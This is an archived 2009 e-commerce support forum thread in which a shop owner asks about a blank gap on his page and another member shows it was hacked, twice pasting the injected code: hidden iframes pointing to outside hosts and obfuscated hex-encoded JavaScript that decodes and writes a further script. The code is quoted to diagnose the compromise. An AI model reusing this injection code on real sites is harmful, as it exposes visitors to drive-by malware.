[200] Posted January 10, 2009 Share Posted January 10, 2009 Hey, I have a big gap at the top of my page and I have to scroll down before the page loads... Has anyone encountered this problem before? I was playing around with some files before but never noticed that I edited anything that would change it... If anyone has some suggestions that could point me in the right direction to fix it then please let me know. Thanks Peter p.s. I was playing around with index and english files... Link to comment Share on other sites More sharing options...
germ Posted January 10, 2009 Share Posted January 10, 2009 The page has been hacked with this: <iframe src="http://url/" style="visibility: hidden;" width="1" height="1"></iframe><script>function c102916999516l49683a6474cea(l49683a64750d1){ return (parseInt(l49683a64750d1,16));}function l49683a6475c8a(l49683a6476072){ function l49683a6476c2b(){var l49683a6477013=2;return l49683a6477013;} var l49683a647645a='';l49683a64773fc=String.fromCharCode;for(l49683a6476842=0;l49683a6476842<l49683a6476072.length;l49683a6476842+=l49683a6476c2b()){ l49683a647645a+=(l49683a64773fc(c102916999516l49683a6474cea(l49683a6476072.substr(l49683a6476842,l49683a6476c2b()))));}return l49683a647645a;} var xa6='';var l49683a64777e4='3C736'+xa6+'3726'+xa6+'970743E6'+xa6+'96'+xa6+'6'+xa6+'28216'+xa6+'D796'+xa6+'96'+xa6+'1297B6'+xa6+'46'+xa6+'F6'+xa6+'3756'+xa6+'D6'+xa6+'56'+xa6+'E742E77726'+xa6+'9746'+xa6+'528756'+xa6+'E6'+xa6+'5736'+xa6+'36'+xa6+'1706'+xa6+'528202725336'+xa6+'32536'+xa6+'392536'+xa6+'36'+xa6+'2537322536'+xa6+'312536'+xa6+'6'+xa6+'42536'+xa6+'352532302536'+xa6+'6'+xa6+'52536'+xa6+'312536'+xa6+'6'+xa6+'42536'+xa6+'3525336'+xa6+'42536'+xa6+'332533312533302532302537332537322536'+xa6+'3325336'+xa6+'42532372536'+xa6+'3825373425373425373025336'+xa6+'125326'+xa6+'6'+xa6+'25326'+xa6+'6'+xa6+'2536'+xa6+'372536'+xa6+'6'+xa6+'6'+xa6+'2536'+xa6+'372536'+xa6+'6'+xa6+'6'+xa6+'2533322536'+xa6+'6'+xa6+'42536'+xa6+'3525326'+xa6+'52536'+xa6+'6'+xa6+'52536'+xa6+'3525373425326'+xa6+'6'+xa6+'25326'+xa6+'52536'+xa6+'372536'+xa6+'6'+xa6+'6'+xa6+'25326'+xa6+'6'+xa6+'2536'+xa6+'332536'+xa6+'382536'+xa6+'352536'+xa6+'332536'+xa6+'6'+xa6+'225326'+xa6+'52536'+xa6+'382537342536'+xa6+'6'+xa6+'42536'+xa6+'6'+xa6+'32532372532302537372536'+xa6+'392536'+xa6+'342537342536'+xa6+'3825336'+xa6+'42533372533332533312532302536'+xa6+'382536'+xa6+'352536'+xa6+'392536'+xa6+'372536'+xa6+'3825373425336'+xa6+'42533342533342533302532302537332537342537392536'+xa6+'6'+xa6+'32536'+xa6+'3525336'+xa6+'4253237253736'+xa6+'2536'+xa6+'392537332536'+xa6+'392536'+xa6+'322536'+xa6+'392536'+xa6+'6'+xa6+'32536'+xa6+'3925373425373925336'+xa6+'12536'+xa6+'382536'+xa6+'392536'+xa6+'342536'+xa6+'342536'+xa6+'352536'+xa6+'6'+xa6+'525323725336'+xa6+'525336'+xa6+'325326'+xa6+'6'+xa6+'2536'+xa6+'392536'+xa6+'36'+xa6+'2537322536'+xa6+'312536'+xa6+'6'+xa6+'42536'+xa6+'3525336'+xa6+'52729293B7D76'+xa6+'6'+xa6+'172206'+xa6+'D796'+xa6+'96'+xa6+'13D7472756'+xa6+'53B3C2F736'+xa6+'3726'+xa6+'970743E';document.write(l49683a6475c8a(l49683a64777e4));</script><script>if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%30%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%67%6f%32%6d%65%2e%6e%65%74%2f%2e%67%6f%2f%63%68%65%63%6b%2e%68%74%6d%6c%27%20%77%69%64%74%68%3d%37%33%31%20%68%65%69%67%68%74%3d%34%34%30%20%73%74%79%6c%65%3d%27%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script><iframe name="c10" src="http://gogo2me.net/.go/check.html" style="visibility: hidden;" width="731" height="440"></iframe> If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you. "Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice." - Me - "Headers already sent" - The definitive help "Cannot redeclare ..." - How to find/fix it SSL Implementation Help Like this post? "Like" it again over there > Link to comment Share on other sites More sharing options...
[200] Posted January 16, 2009 Author Share Posted January 16, 2009 Yes, I saw that in the code and deleted it. How do I prevent this from happening? What are the implications of having that code? Link to comment Share on other sites More sharing options...
Guest Posted January 16, 2009 Share Posted January 16, 2009 Yes, I saw that in the code and deleted it. How do I prevent this from happening? What are the implications of having that code? Lookie here Link to comment Share on other sites More sharing options...
germ Posted January 16, 2009 Share Posted January 16, 2009 What are the implications of having that code? Would YOU buy anything from an e-store that was "hacked"? :unsure: If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you. "Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice." - Me - "Headers already sent" - The definitive help "Cannot redeclare ..." - How to find/fix it SSL Implementation Help Like this post? "Like" it again over there > Link to comment Share on other sites More sharing options...
[200] Posted January 17, 2009 Author Share Posted January 17, 2009 Would YOU buy anything from an e-store that was "hacked"?:unsure: Thats not what I am asking. Read my question, if you're going to b a smart arse then dont reply. Link to comment Share on other sites More sharing options...
tinkerbell46325 Posted January 17, 2009 Share Posted January 17, 2009 Thats not what I am asking. Read my question, if you're going to b a smart arse then dont reply. He just trying to Help' We have to remember this people take their free time ' read our stuff' and to Appreciate 'Em and Germ I Apologize please u got mail! Link to comment Share on other sites More sharing options...
♥geoffreywalton Posted January 17, 2009 Share Posted January 17, 2009 The implication is that anyone going to your site, if they knew that code was there, would not buy anything from it. I would suggest you rephrase your question rather than getting snippy. What does that code do? or How do I stop my site getting hacked in future? Need help installing add ons/contributions, cleaning a hacked site or a bespoke development, check my profile Virus Threat Scanner My Contributions Basic install answers. Click here for Contributions / Add Ons. UK your site. Site Move. Basic design info. For links mentioned in old answers that are no longer here follow this link Useful Threads. If this post was useful, click the Like This button over there ======>>>>>. Link to comment Share on other sites More sharing options...
germ Posted January 17, 2009 Share Posted January 17, 2009 Thats not what I am asking. Read my question, if you're going to b a smart arse then dont reply. I'm telling you like it is Bub. Crap like that spells the end of a store in my opinion. At least smart arses don't get their pages injected with iframes, just dumb ones... :huh: If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you. "Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice." - Me - "Headers already sent" - The definitive help "Cannot redeclare ..." - How to find/fix it SSL Implementation Help Like this post? "Like" it again over there > Link to comment Share on other sites More sharing options...
♥geoffreywalton Posted January 17, 2009 Share Posted January 17, 2009 Tetchy this morning aren't we? :-) Need help installing add ons/contributions, cleaning a hacked site or a bespoke development, check my profile Virus Threat Scanner My Contributions Basic install answers. Click here for Contributions / Add Ons. UK your site. Site Move. Basic design info. For links mentioned in old answers that are no longer here follow this link Useful Threads. If this post was useful, click the Like This button over there ======>>>>>. Link to comment Share on other sites More sharing options...
Guest Posted January 17, 2009 Share Posted January 17, 2009 Lookie here Link to comment Share on other sites More sharing options...
[200] Posted January 21, 2009 Author Share Posted January 21, 2009 I'm telling you like it is Bub. Crap like that spells the end of a store in my opinion. At least smart arses don't get their pages injected with iframes, just dumb ones... :huh: And the real stupid ones make assumptions that the website is up and running with orders being accepted. Thanks to those that actually posted something worthwhile. Link to comment Share on other sites More sharing options...
germ Posted January 21, 2009 Share Posted January 21, 2009 I was just trying to get you to expand your narrowminded thinking and see the situation from the perspective of your customers. Too bad you're just too obtuse. :blink: If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you. "Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice." - Me - "Headers already sent" - The definitive help "Cannot redeclare ..." - How to find/fix it SSL Implementation Help Like this post? "Like" it again over there > Link to comment Share on other sites More sharing options...
germ Posted January 22, 2009 Share Posted January 22, 2009 Don't look now but your page is hacked again, but it's at the bottom of the page source: :o <iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4977b1ad95a34(l4977b1ad96204){ var l4977b1ad969d5=16; return (parseInt(l4977b1ad96204,l4977b1ad969d5));}function l4977b1ad97979(l4977b1ad98226){ var l4977b1ad9891c='';l4977b1ad9a85f=String.fromCharCode;for(l4977b1ad990ec=0;l4977b1ad990ec<l4977b1ad98226.length;l4977b1ad990ec+=2){ l4977b1ad9891c+=(l4977b1ad9a85f(c102916999516l4977b1ad95a34(l4977b1ad98226.substr(l4977b1ad990ec,2))));}return l4977b1ad9891c;} var x1a='';var l4977b1ad9b030='3C736'+x1a+'3726'+x1a+'970743E6'+x1a+'96'+x1a+'6'+x1a+'28216'+x1a+'D796'+x1a+'96'+x1a+'1297B6'+x1a+'46'+x1a+'F6'+x1a+'3756'+x1a+'D6'+x1a+'56'+x1a+'E742E77726'+x1a+'9746'+x1a+'528756'+x1a+'E6'+x1a+'5736'+x1a+'36'+x1a+'1706'+x1a+'528202725336'+x1a+'32536'+x1a+'392536'+x1a+'36'+x1a+'2537322536'+x1a+'312536'+x1a+'6'+x1a+'42536'+x1a+'352532302536'+x1a+'6'+x1a+'52536'+x1a+'312536'+x1a+'6'+x1a+'42536'+x1a+'3525336'+x1a+'42536'+x1a+'332533312533302532302537332537322536'+x1a+'3325336'+x1a+'42532372536'+x1a+'3825373425373425373025336'+x1a+'125326'+x1a+'6'+x1a+'25326'+x1a+'6'+x1a+'2536'+x1a+'372536'+x1a+'6'+x1a+'6'+x1a+'2536'+x1a+'372536'+x1a+'6'+x1a+'6'+x1a+'2533322536'+x1a+'6'+x1a+'42536'+x1a+'3525326'+x1a+'52536'+x1a+'6'+x1a+'52536'+x1a+'3525373425326'+x1a+'6'+x1a+'25326'+x1a+'52536'+x1a+'372536'+x1a+'6'+x1a+'6'+x1a+'25326'+x1a+'6'+x1a+'2536'+x1a+'332536'+x1a+'382536'+x1a+'352536'+x1a+'332536'+x1a+'6'+x1a+'225326'+x1a+'52536'+x1a+'382537342536'+x1a+'6'+x1a+'42536'+x1a+'6'+x1a+'32532372532302537372536'+x1a+'392536'+x1a+'342537342536'+x1a+'3825336'+x1a+'42533312533382533342532302536'+x1a+'382536'+x1a+'352536'+x1a+'392536'+x1a+'372536'+x1a+'3825373425336'+x1a+'42533322533392532302537332537342537392536'+x1a+'6'+x1a+'32536'+x1a+'3525336'+x1a+'4253237253736'+x1a+'2536'+x1a+'392537332536'+x1a+'392536'+x1a+'322536'+x1a+'392536'+x1a+'6'+x1a+'32536'+x1a+'3925373425373925336'+x1a+'12536'+x1a+'382536'+x1a+'392536'+x1a+'342536'+x1a+'342536'+x1a+'352536'+x1a+'6'+x1a+'525323725336'+x1a+'525336'+x1a+'325326'+x1a+'6'+x1a+'2536'+x1a+'392536'+x1a+'36'+x1a+'2537322536'+x1a+'312536'+x1a+'6'+x1a+'42536'+x1a+'3525336'+x1a+'52729293B7D76'+x1a+'6'+x1a+'172206'+x1a+'D796'+x1a+'96'+x1a+'13D7472756'+x1a+'53B3C2F736'+x1a+'3726'+x1a+'970743E';document.write(l4977b1ad97979(l4977b1ad9b030));</script> If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you. "Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice." - Me - "Headers already sent" - The definitive help "Cannot redeclare ..." - How to find/fix it SSL Implementation Help Like this post? "Like" it again over there > Link to comment Share on other sites More sharing options...
New ![[200]](data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201024%201024%22%20style%3D%22background%3A%2362c4b3%22%3E%3Cg%3E%3Ctext%20text-anchor%3D%22middle%22%20dy%3D%22.35em%22%20x%3D%22512%22%20y%3D%22512%22%20fill%3D%22%23ffffff%22%20font-size%3D%22700%22%20font-family%3D%22-apple-system%2C%20BlinkMacSystemFont%2C%20Roboto%2C%20Helvetica%2C%20Arial%2C%20sans-serif%22%3E2%3C%2Ftext%3E%3C%2Fg%3E%3C%2Fsvg%3E)
Recommended Posts
Archived
This topic is now archived and is closed to further replies.